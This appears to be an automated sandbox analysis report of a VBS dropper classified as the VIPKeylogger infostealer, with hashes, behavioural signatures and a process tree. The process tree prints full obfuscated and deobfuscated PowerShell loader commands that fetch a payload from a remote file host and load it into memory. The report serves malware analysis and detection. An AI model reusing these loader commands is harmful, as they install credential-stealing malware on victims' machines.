Resubmissions

07-11-2024 16:02

241107-tg9hhavgnl 10

07-11-2024 15:49

241107-s9mzjavfng 10

07-11-2024 11:30

241107-nl46pa1jdz 10

Analysis

  • max time kernel
    33s
  • max time network
    39s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-11-2024 16:02

General

  • Target

    dfcugh.vbs

  • Size

    13KB

  • MD5

    4f3e6d1619f31390de9a461391f10dba

  • SHA1

    9d90fa6b3bb7809fc800751c6cfc41dc68742a84

  • SHA256

    2202962f09e94846b9677dda2358f0f04871bcd02c6ac3c5f3f27e85982d26c6

  • SHA512

    f609e24d91a9ee08fe9b89f4909eb8745045d67b0b20d187d4586f5c382cefc2af96baacd1125aef96b71cc4eeeefdf0baa4467a1bb66637edfedacca9615427

  • SSDEEP

    384:CiQvc9iQZ4T6+wi7Ahrd5RxEA/mywQfD6U512ChMsB+5wZ/f3CPR:CiQk9iQzn512ChMsB+4/fyPR

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

vipkeylogger

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dfcugh.vbs"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1032
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RLlBJGBXJiGLuhwiJI.js"
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1112
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JgAgACgAIAAkAHAAcwBoAG8AbQBlAFsANABdACsAJABwAHMAaABPAE0ARQBbADMANABdACsAJwB4ACcAKQAoACAAKAAnAEwAeABGAGkAbQBhAGcAJwArACcAZQBVAHIAbAAgAD0AIABEAFgAdgBoAHQAdABwACcAKwAnAHMAOgAvAC8AMQAwADEANwAuAGYAaQBsAGUAbQBhAGkAbAAuAGMAbwBtAC8AYQBwAGkALwBmAGkAbABlAC8AZwBlAHQAJwArACcAPwBmAGkAbABlAGsAZQB5AD0AMgBBAGEAXwBiAFcAbwA5AFIAZQB1ADQANQB0ADcAQgBVADEAawBWAGcAcwBkADkAcABUADkAcABnAFMAUwBsAHYAUwB0AEcAcgBuAFQASQBDAGYARgBoAG0AVABLAGoAMwBMAEMANgBTAFEAdABJAGMATwBjAF8AVAAzADUAJwArACcAdwAmAHAAawBfAHYAaQBkAD0AZgBkADQAZgA2ADEAJwArACcANAAnACsAJwBiAGIAMgAwADkAYwA2ADIAYwAxADcAMwAwADkANAA1ADEANwA2AGEAMAA5ADAANABmACAARABYAHYAOwBMAHgARgB3AGUAYgAnACsAJwBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsATAB4AEYAaQBtAGEAZwBlAEIAJwArACcAeQB0AGUAcwAgAD0AIABMAHgARgB3AGUAYgBDAGwAaQBlAG4AJwArACcAdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgATAB4AEYAaQBtAGEAZwBlAFUAcgBsACkAOwAnACsAJwBMACcAKwAnAHgARgBpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjACcAKwAnAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQAnACsAJwBuAGcAKABMAHgARgBpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwBMAHgARgBzAHQAYQByAHQARgBsAGEAZwAgAD0AIABEAFgAdgA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+AEQAWAB2ADsATAB4AEYAZQAnACsAJwBuAGQARgBsAGEAZwAgAD0AIABEAFgAdgA8ADwAQgBBAFMARQA2ADQAXwBFACcAKwAnAE4ARAA+AD4ARABYAHYAOwBMAHgARgBzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgAEwAeAAnACsAJwBGAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoAEwAeABGAHMAdABhAHIAdABGAGwAYQBnACkAOwBMAHgARgBlAG4AZABJAG4AZABlAHgAIAA9ACAATAB4AEYAaQBtAGEAJwArACcAZwBlAFQAZQB4ACcAKwAnAHQALgBJAG4AZABlAHgATwBmACgATAB4AEYAZQBuAGQARgBsAGEAZwApADsATAB4AEYAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIABMAHgARgBlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgAEwAeABGAHMAdABhAHIAdABJAG4AZABlAHgAOwBMAHgARgBzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJwArACcATAB4AEYAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7AEwAeABGAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgAEwAeABGAGUAbgBkAEkAbgBkAGUAeAAgAC0AIABMAHgARgBzAHQAYQByAHQASQBuAGQAZQB4ADsATAB4AEYAYgBhACcAKwAnAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIABMAHgARgBpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgATAB4AEYAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAATAB4AEYAYgBhAHMAZQA2ADQATABlAG4AZwB0ACcAKwAnAGgAKQA7AEwAeABGAGIAYQBzAGUANgA0AFIAZQB2AGUAcgBzAGUAZAAgAD0AIAAtAGoAbwBpAG4AIAAoAEwAeABGAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgBUAG8AQwBoAGEAcgAnACsAJwBBAHIAcgBhAHkAKAApACAAOABiAEMAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAATAB4AEYAXwAgAH0AKQBbAC0AMQAuAC4ALQAoAEwAeABGAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgBMAGUAbgBnAHQAaAApACcAKwAnAF0AOwBMAHgARgBjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgATAB4AEYAYgBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACkAJwArACcAOwBMAHgARgBsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAEwAeABGAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwBMAHgARgB2AGEAaQBNAGUAdABoAG8AZAAgAD0AIABbAGQAbgBsAGkAYgAnACsAJwAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgARABYAHYAVgBBAEkARABYAHYAKQA7AEwAeABGAHYAYQBpAE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKABMAHgARgBuAHUAbABsACwAIABAACgARAAnACsAJwBYAHYAdAB4AHQALgBkAHMAdABlAHAALwBwAG8AcAAvAHUAZQAuAHAAcgBnAHgAYQBtAHkAZwByAGUAbgBlAC4AZwBpAGcALwAvADoAcAB0AHQAaABEAFgAdgAsACAARABYAHYAZABlAHMAYQB0AGkAdgBhAGQAbwBEAFgAdgAsACAARABYAHYAZABlAHMAYQB0AGkAdgBhAGQAbwBEAFgAdgAsACAARABYAHYAZABlAHMAYQB0AGkAdgBhAGQAbwBEAFgAdgAsACAARABYAHYAZABlAHMAYQB0AGkAdgBhAGQAbwBEAFgAdgAsACAARABYAHYAMQBEAFgAdgAsACAARABYAHYAZAB4AGQAaQBhAGcARABYAHYALABEAFgAdgBkAGUAcwBhAHQAaQB2AGEAZABvAEQAWAB2ACwAIABEAFgAdgBkAGUAcwBhAHQAaQB2AGEAZABvAEQAWAB2ACwARABYAHYAZABlAHMAYQB0AGkAdgBhAGQAbwBEAFgAdgAsAEQAWAB2AGQAJwArACcAZQBzAGEAdABpAHYAYQBkAG8ARABYAHYALABEAFgAdgBkAGUAcwBhAHQAaQB2AGEAZABvAEQAWAB2ACwARABYAHYAMQBEAFgAdgAsAEQAWAB2AGQAZQBzAGEAdABpAHYAYQBkAG8ARABYAHYAKQApADsAJwApAC4AcgBlAFAAbABBAEMARQAoACcAOABiAEMAJwAsAFsAcwB0AFIASQBOAEcAXQBbAEMASABhAFIAXQAxADIANAApAC4AcgBlAFAAbABBAEMARQAoACcATAB4AEYAJwAsAFsAcwB0AFIASQBOAEcAXQBbAEMASABhAFIAXQAzADYAKQAuAHIAZQBQAGwAQQBDAEUAKAAnAEQAWAB2ACcALABbAHMAdABSAEkATgBHAF0AWwBDAEgAYQBSAF0AMwA5ACkAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4164
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $pshome[4]+$pshOME[34]+'x')( ('LxFimag'+'eUrl = DXvhttp'+'s://1017.filemail.com/api/file/get'+'?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35'+'w&pk_vid=fd4f61'+'4'+'bb209c62c1730945176a0904f DXv;LxFweb'+'Client = New-Object System.Net.WebClient;LxFimageB'+'ytes = LxFwebClien'+'t.DownloadData(LxFimageUrl);'+'L'+'xFimageText = [System.Text.Enc'+'oding]::UTF8.GetStri'+'ng(LxFimageBytes);LxFstartFlag = DXv<<BASE64_START>>DXv;LxFe'+'ndFlag = DXv<<BASE64_E'+'ND>>DXv;LxFstartIndex = Lx'+'FimageText.IndexOf(LxFstartFlag);LxFendIndex = LxFima'+'geTex'+'t.IndexOf(LxFendFlag);LxFstartIndex -ge 0 -and LxFendIndex -gt LxFstartIndex;LxFstartIndex += '+'LxFstartFlag.Length;LxFbase64Length = LxFendIndex - LxFstartIndex;LxFba'+'se64Command = LxFimageText.Substring(LxFstartIndex, LxFbase64Lengt'+'h);LxFbase64Reversed = -join (LxFbase64Command.ToChar'+'Array() 8bC ForEach-Object { LxF_ })[-1..-(LxFbase64Command.Length)'+'];LxFcommandBytes = [System.Convert]::FromBase64String(LxFbase64Reversed)'+';LxFloadedAssembly = [System.Reflection.Assembly]::Load(LxFcommandBytes);LxFvaiMethod = [dnlib'+'.IO.Home].GetMethod(DXvVAIDXv);LxFvaiMethod.Invoke(LxFnull, @(D'+'Xvtxt.dstep/pop/ue.prgxamygrene.gig//:ptthDXv, DXvdesativadoDXv, DXvdesativadoDXv, DXvdesativadoDXv, DXvdesativadoDXv, DXv1DXv, DXvdxdiagDXv,DXvdesativadoDXv, DXvdesativadoDXv,DXvdesativadoDXv,DXvd'+'esativadoDXv,DXvdesativadoDXv,DXv1DXv,DXvdesativadoDXv));').rePlACE('8bC',[stRING][CHaR]124).rePlACE('LxF',[stRING][CHaR]36).rePlACE('DXv',[stRING][CHaR]39))"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:876
          • C:\Windows\SysWOW64\dxdiag.exe
            "C:\Windows\SysWOW64\dxdiag.exe"
            5⤵
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:4124

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

  • C:\Users\Admin\AppData\Local\Temp\RLlBJGBXJiGLuhwiJI.js

    Filesize

    1KB

    MD5

    3d68e0db63d092d83baf5f2e61a2240c

    SHA1

    54bec790443c5eceea3819b516714d8d73588684

    SHA256

    718f980994f02da3640c8618398ac88a4c3bfb7df0dd9ba118af2f5ef305819a

    SHA512

    115f21a1066286b28855a3ddf9aa2d3f37525bbc9da5807755a8b5b5111bd4e1af539388f8ab69dea37c0ac36096fbe837bad4a52939bc31847bc2583a2841cf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_shuudpw0.2oj.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/876-23-0x000001CE3EAD0000-0x000001CE3EC28000-memory.dmp

    Filesize

    1.3MB

  • memory/4124-27-0x0000000000400000-0x0000000000437000-memory.dmp

    Filesize

    220KB

  • memory/4124-24-0x0000000000400000-0x0000000000437000-memory.dmp

    Filesize

    220KB

  • memory/4124-31-0x0000000002540000-0x0000000002590000-memory.dmp

    Filesize

    320KB

  • memory/4124-32-0x0000000004F20000-0x00000000054C4000-memory.dmp

    Filesize

    5.6MB

  • memory/4124-33-0x0000000004970000-0x00000000049BE000-memory.dmp

    Filesize

    312KB

  • memory/4124-34-0x0000000004A60000-0x0000000004AFC000-memory.dmp

    Filesize

    624KB

  • memory/4124-35-0x0000000005CA0000-0x0000000005E62000-memory.dmp

    Filesize

    1.8MB

  • memory/4124-36-0x0000000005B40000-0x0000000005B90000-memory.dmp

    Filesize

    320KB

  • memory/4124-37-0x00000000063A0000-0x00000000068CC000-memory.dmp

    Filesize

    5.2MB

  • memory/4164-4-0x00000201367D0000-0x00000201367F2000-memory.dmp

    Filesize

    136KB